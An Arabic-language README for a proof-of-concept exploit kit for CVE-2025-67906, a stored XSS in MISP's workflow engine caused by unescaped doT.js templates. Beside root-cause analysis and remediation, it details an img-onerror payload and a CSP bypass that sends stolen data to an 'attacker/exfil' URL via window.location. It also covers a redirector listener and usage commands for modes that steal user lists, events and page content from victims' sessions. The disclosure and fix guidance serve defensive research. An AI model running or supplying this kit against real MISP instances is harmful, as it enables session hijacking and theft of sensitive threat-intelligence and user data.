
MISP <= 2.5.27 - ثغرة تخزينية عبر المواقع باستخدام محرك سير العمل (حقن قالب doT.js).
MISP <= 2.5.27 - ثغرة تخزين البرمجة النصية عبر المواقع (XSS) عبر محرك سير العمل (حقن قالب doT.js)
اكتشفها Franck FERMAN
نظرة عامة - تحليل السبب الجذري - سلسلة الهجوم - الهيكل - الاستخدام - الإصلاح - المراجع
CVE-2025-67906 (GCVE-1-2025-0031) هي ثغرة تخزين البرمجة النصية عبر المواقع (Stored XSS) في MISP (منصة مشاركة معلومات البرمجيات الخبيثة) بالإصدارات حتى 2.5.27.
تقع الثغرة في app/View/Elements/Workflows/executionPath.ctp، وهو مكون عرض مسار تنفيذ سير العمل. يتم تخزين حقل name لمحفزات سير العمل في قاعدة البيانات دون تنقية من جانب الخادم (server-side sanitization) ثم يتم عرضه في DOM عبر محرك القوالب doT.js بدون هروب HTML (HTML escaping). يمكن لمهاجم مُصادَق عليه حقن HTML/JavaScript عشوائي يُنفّذ في جلسة المتصفح لأي مستخدم يعرض سير العمل المخترق.
نظرًا لأن الحمولة تُخزّن في قاعدة البيانات وتُعرض في كل تحميل صفحة، فإن XSS مستمرة (persistent) - تبقى بعد تحديث الصفحة، وتؤثر على عدة مستخدمين، وتستمر حتى يتم حذف سير العمل صراحة.
الاكتشاف: تم تحديد هذه الثغرة والإبلاغ عنها بشكل مسؤول من قبل Franck FERMAN.
توجد تقييمات متعددة لمعيار CVSS لهذه الثغرة:
يعكس تباين الدرجات تقييمات مختلفة لعمق التأثير. تأخذ درجة NIST NVD (9.0) في الاعتبار التأثير الكامل على السرية والنزاهة والتوفر، نظرًا لأن حمولة XSS تُنفّذ بامتيازات جلسة الضحية، مما يتيح استخراج البيانات على مستوى المسؤول والتلاعب بسير العمل. تأخذ درجة CNA (5.4) في الاعتبار تأثيرًا محدودًا على السرية والنزاهة فقط لـ XSS العام. تقدم درجة GCVE CVSS 4.0 (7.1) معدّلات متطلبات الهجوم (الامتياز) وتفاعل المستخدم النشط.
النطاق متغير (Changed) عبر جميع التقييمات لأن حمولة المهاجم (المحقونة عبر واجهة برمجة تطبيقات MISP) تُنفّذ في سياق أمني مختلف (جلسة متصفح الضحية).
يسمح محرك سير العمل في MISP للمستخدمين المُصادَق عليهم بإنشاء وتحرير سير العمل عبر REST API. يتضمن نموذج بيانات سير العمل مكوّن trigger مع حقل name. يتم هذا الحقل:
doT.js هو محرك قوالب JavaScript سريع. يستخدم {{= }} للاستيفاء (interpolation)، والذي لا يقوم بهروب HTML افتراضيًا. يستخدم محرر سير عمل MISP doT.js لعرض بيانات وصفية للمحفز (بما في ذلك حقل name) في DOM. عندما يحتوي حقل name على HTML مثل ``، يقوم محرك القالب بإدراجه كـ HTML خام، ويقوم المتصفح بتنفيذ JavaScript المضمنة.
يتطلب الإصلاح إما:
{{! }} التي تقوم بهروب HTML للقيمةPOST /workflows/edit/{id}
{
"Workflow": {
"id": "1",
"data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
}
}
قيمة name داخل حقل JSON data هي نقطة الحقن. يتم تسلسل الرسم البياني الكامل لسير العمل كسلسلة JSON داخل جسم الطلب.
تضخم الثغرة بسبب الاختيار المعماري لاستخدام محرك قوالب من جانب العميل (doT.js) لعرض محرر سير العمل البصري. محرر سير العمل هو واجهة رسومية للسحب والإفلات حيث يُعرض كل محفز/إجراء ككتلة بصرية. يتم عرض حقل name للمحفز كتسمية (label) داخل هذه الكتل الرسومية.
يبني doT.js المكونات البصرية عن طريق توليد سلاسل HTML من القوالب وإدراجها في DOM. تنتج صيغة الاستيفاء {{= }} خرجًا غير مهروب - يتم التعامل مع أي بيانات تم استيفاؤها في القالب كترميز (markup) وليس كنص. إذا تم عرض نفس حقل name عبر element.textContent (الذي يعامل الإدخال كنص عادي) أو عبر صيغة الخرج المشفر الخاصة بـ doT.js {{! }}، فلن يكون XSS ممكنًا بغض النظر عن محتوى الإدخال.
توجد مساحة الهجوم تحديدًا بسبب:
{{= }}) من أجل الأداءname يتم تفسيرها كـ HTML من قبل المتصفحهذا نمط ثغرة شائع في تطبيقات الويب التي تستخدم محركات قوالب من جانب العميل لبناء واجهات بصرية تفاعلية: الحاجة إلى العرض الغني تخلق علاقة ثقة ضمنية بين القالب ومصادر بياناته، وأي إدخال مستخدم غير منقى يصل إلى القالب يصبح كودًا قابلًا للتنفيذ.
<script>عادةً لن يتم تنفيذ وسم <script> خام يتم حقنه عبر استيفاء القالب في هذا السياق. لا تقوم المتصفحات بتشغيل عناصر <script> التي يتم إدراجها في DOM بعد تحليل الصفحة الأولي (عبر innerHTML أو ما يعادله). تتجاوز سمات معالج الأحداث مثل onerror و onload و onmouseover على عناصر HTML هذا التقييد لأنها تشغل JavaScript مضمنة عندما يعالج المتصفح سمات العنصر، بغض النظر عن كيفية إدراج العنصر.
يُفضل متجه <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> لأن:
src="x" يضمن فشل تحميل فوري، مما يشغل onerror دون تفاعل المستخدمscript-src لسياسة أمان المحتوى (CSP) التي تحظر وسوم <script> المضمنة، لأن التنفيذ يحدث عبر معالج حدث على عنصر غير وسوم script.عادةً ما تنشر مثيلات MISP رؤوس سياسة أمان المحتوى (CSP) التي تقيد connect-src، مما يمنع استدعاءات fetch() و XMLHttpRequest إلى أصول خارجية. تتجاوز حمولات الاستخراج في هذا الإثبات المفاهيمي (PoC) CSP باستخدام window.location (التنقل) بدلاً من استدعاءات API:
// محظور بواسطة CSP connect-src:
fetch('http://attacker/exfil?data=' + stolen_data); // انتهاك CSP
// غير محظور - التنقل لا تحكمه CSP:
window.location = 'http://attacker/exfil?data=' + stolen_data; // يعمل
لا يحتوي CSP على توجيه يتحكم في المكان الذي يمكن للصفحة التنقل إليه. تم اقتراح توجيه navigate-to في CSP Level 3 لكن لم يتم تنفيذه مطلقًا من قبل أي متصفح وتم التخلي عنه فعليًا. هذا يجعل window.location تجاوزًا موثوقًا لـ CSP لاستخراج البيانات من أي سياق XSS، بغض النظر عن سياسة CSP المطبقة.
المقايضة هي أن التنقل مرئي للضحية (تتغير الصفحة). يخفف server/redirector.py من ذلك عن طريق إصدار إعادة توجيه HTTP 302 فورية إلى مثيل MISP، مما يخلق وميضًا مرئيًا قصيرًا فقط. من منظور الضحية، تبدو الصفحة وكأنها تعيد التحميل.
تدفق بيانات الاستخراج:
متصفح الضحية المهاجم (redirector.py) MISP
| | |
|-- GET /exfil?data=<مسروق> ---->| |
| | [يلتقط البيانات، يطبع] |
|<-- 302 Location: misp.url ------| |
| | |
|-- GET /workflows/view/1 ---------------------------------------->|
|<-- صفحة MISP عادية ---------------------------------------------|
تستغرق الرحلة الكاملة حوالي 100-200 مللي ثانية. يرى الضحية وميض صفحة على الأكثر.
من المفاهيم الخاطئة الشائعة في تقييمات الأمان أن ثغرات XSS لها تأثير عملي محدود ("إنها مجرد صندوق تنبيه"). في مهام الفريق الأحمر الواقعية، تعتبر XSS المخزنة - خاصة المستمرة بدون نقر مثل هذه - اكتشافًا عالي القيمة على وجه التحديد لأن المهاجم لا يحتاج إلى نقر الضحية على أي شيء. تشتعل الحمولة تلقائيًا عند عرض الصفحة.
ما تمكن XSS المخزنة في الممارسة:
HttpOnly على ملفات تعريف الارتباط، يسرق المهاجم ملف تعريف ارتباط جلسة المسؤول ويستولي على الحساب. حتى مع HttpOnly، يمكن استخراج رموز الجلسة المكشوفة في DOM أو في استجابات API.document.body.innerHTML أو استعلامات DOM المستهدفة.عندما تقيد حمايات مثل CSP الطلبات الصادرة (connect-src، script-src)، يتكيف متجه الاستخراج - كما هو موضح في هذا PoC مع تجاوز التنقل window.location. يرفع CSP الحاجز لكنه لا يزيل الخطر. عندما يمنع HttpOnly سرقة ملفات تعريف الارتباط، ينتقل المهاجم إلى استخراج البيانات المستندة إلى DOM للبيانات المرئية مباشرة في الجلسة المُصادَق عليها.
في سياق اختبار الاختراق/الفريق الأحمر، تعتبر XSS المخزنة على منصة مثل MISP (التي تجمع معلومات التهديدات، ومؤشرات الاختراق، والبيانات التنظيمية) حرجة بشكل خاص لأن البيانات التي يمكن الوصول إليها من خلال جلسة المسؤول هي نفسها عالية الحساسية: مؤشرات الاختراق، تفاصيل التحقيقات الداخلية، عضويات مجموعات المشاركة، وعلاقات الثقة بين المنظمات.
1. يقوم المهاجم بالمصادقة على MISP (أي دور لديه إذن إنشاء سير عمل)
|
2. POST /workflows/add -> ينشئ سير عمل جديدًا، ويستلم workflow_id + trigger_id
|
3. POST /workflows/edit/{id} -> يحقن حمولة HTML/JS في حقل "name" للمحفز
| الحمولة: <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="[JAVASCRIPT]">
|
4. تبقى الحمولة في قاعدة بيانات MISP
|
5. يزور الضحية (أي مستخدم مُصادَق) /workflows/view/{id}
|
6. يعرض doT.js اسم المحفز كـ HTML خام -> ينفذ المتصفح JavaScript
|
7. يعتمد التأثير على وضع الحمولة:
- alert() إثبات التنفيذ
- اختطاف الجلسة سرقة ملف تعريف ارتباط الجلسة
- استخراج البيانات استخراج المستخدمين والأحداث ومفاتيح API من صفحات المسؤول
- سرقة بيانات الاعتماد حقن نموذج تسجيل دخول مزيف
| البرنامج | المتأثر | المُصلَح |
|---|---|---|
| MISP | <= 2.5.27 | 2.5.28 |
يتضمن الإصلاح في MISP v2.5.28. Commit التصحيح ذو الصلة: 1f39deb.
poc_alert_cve_2025_67906.py # PoC بسيط - تأكيد alert() (~200 سطر)
poc_exfiltrate_cve_2025_67906.py # PoC بسيط - عرض استخراج البيانات (~150 سطر)
cve_2025_67906.py # مجموعة استغلال كاملة - 7 أوضاع، حمولات مخصصة
server/
redirector.py # مستمع استخراج البيانات مع إعادة توجيه 302 شفافة
poc_alert_cve_2025_67906.py: الحد الأدنى، قابل للقراءة. يحقن alert() لتأكيد XSS. اقرأ هذا أولاً.poc_exfiltrate_cve_2025_67906.py: عرض استخراج الحد الأدنى. يلتقط بريد الضحية الإلكتروني وعنوان URL ويرسله إلى خادم المهاجم.cve_2025_67906.py: مجموعة استغلال كاملة مع 7 أوضاع حمولة، دعم حمولة مخصصة، وضع صامت.server/redirector.py: خادم HTTP يلتقط البيانات المستخرجة ويعيد توجيه الضحية بشكل شفاف إلى MISP.Python 3 (مكتبة قياسية فقط، لا تبعيات خارجية).
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906
تأكد من وجود الثغرة باستخدام alert() غير ضار:
python3 poc_alert_cve_2025_67906.py https://misp.target.org YOUR_API_KEY
قم بزيارة عنوان URL الذي يطبعه البرنامج النصي. يظهر صندوق تنبيه لتأكيد تنفيذ XSS.
# الطرفية 1: ابدأ مستمع الاستخراج
python3 server/redirector.py https://misp.target.org --port 8000
# الطرفية 2: احقن الحمولة
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org YOUR_API_KEY --attacker YOUR_IP:8000
عندما يزور ضحية عنوان URL لسير العمل، يتم التقاط بريدهم الإلكتروني واسم المستخدم وعنوان URL للصفحة بواسطة المستمع.
# وضع التنبيه (افتراضي)
python3 cve_2025_67906.py https://misp.target.org API_KEY
# استخراج قائمة المستخدمين من صفحة المسؤول
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_users --attacker YOUR_IP:8000
# استخراج قائمة الأحداث
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_events --attacker YOUR_IP:8000 --limit 50
# حمولة مخصصة
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--payload ''
# وضع صامت (إخراج ضئيل)
python3 cve_2025_67906.py https://misp.target.org API_KEY --mode alert --quiet
{{= }} (خام) إلى {{! }} (مشفر HTML) للحقول المقدمة من المستخدمname قبل الإدراج في قاعدة البيانات (إزالة وسوم HTML، ترميز الكيانات)تم توفير هذه الأداة لأغراض تدقيق الأمان المصرح به والبحث الأكاديمي والتعليم فقط. استخدامها ضد أنظمة دون إذن كتابي صريح من مالك النظام هو غير قانوني. لا يتحمل المؤلف أي مسؤولية عن الاستخدام غير المصرح به أو الخبيث.
| المصدر | الدرجة | الشدة | المتجه |
|---|
| NIST NVD | 9.0 | حرجة | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| GCVE (CIRCL) | 7.1 | عالية | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H |
| CNA (MITRE) | 5.4 | متوسطة | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| الوضع | التأثير | المتطلبات |
|---|
alert | يؤكد تنفيذ XSS | أي مستخدم يعرض سير العمل |
alert_info | يعرض بريد الضحية الإلكتروني وعنوان URL | أي مستخدم يعرض سير العمل |
console_info | يسجل بريد المستخدم الإلكتروني ودوره وعنوان URL في DevTools | أي مستخدم يعرض سير العمل |
exfiltrate_users | يستخرج قائمة المستخدمين (المعرف، المنظمة، الدور، البريد الإلكتروني) من /admin/users/index | مسؤول يعرض سير العمل + مستمع المهاجم |
exfiltrate_page | يلتقط محتوى الصفحة الحالية وهوية المستخدم | أي مستخدم يعرض سير العمل + مستمع المهاجم |
exfiltrate_events | يستخرج قائمة الأحداث (المعرف، المنظمة، التاريخ، TLP، المعلومات) | أي مستخدم يعرض سير العمل + مستمع المهاجم |
| المعرف | التكتيك | التقنية | الصلة |
|---|
| T1059.007 | التنفيذ | JavaScript | تنفذ حمولة XSS JavaScript في متصفح الضحية |
| T1189 | الوصول الأولي | اختراق عبر التصفح (Drive-by Compromise) | تبدأ الحمولة المخزنة عند زيارة الصفحة |
| T1557 | الجمع | الخصم في المتصفح (Adversary-in-the-Browser) | تعمل الحمولة ضمن جلسة الضحية المُصادَق عليها |
| T1539 | الوصول إلى بيانات الاعتماد | سرقة ملف تعريف ارتباط جلسة الويب | يمكن الوصول إلى ملفات تعريف ارتباط الجلسة إذا لم يتم تعيين HttpOnly |
| T1005 | الجمع | بيانات من النظام المحلي | استخراج قوائم المستخدمين والأحداث ومحتوى الصفحة |
| الوضع | الوصف |
|---|
alert | صندوق تنبيه بسيط (افتراضي، آمن للعرض) |
alert_info | صندوق تنبيه مع عنوان URL للضحية والبريد الإلكتروني ووكيل المستخدم |
console | تأكيد Console.log |
console_info | تسجيل البريد الإلكتروني للمستخدم ودوره وعنوان URL في وحدة تحكم DevTools |
exfiltrate_users | استخراج قائمة المستخدمين من /admin/users/index (يتطلب ضحية مسؤول) |
exfiltrate_page | التقاط محتوى الصفحة الحالية وهوية المستخدم |
exfiltrate_events | استخراج قائمة الأحداث مع المعرف والمنظمة والتاريخ وTLP والمعلومات |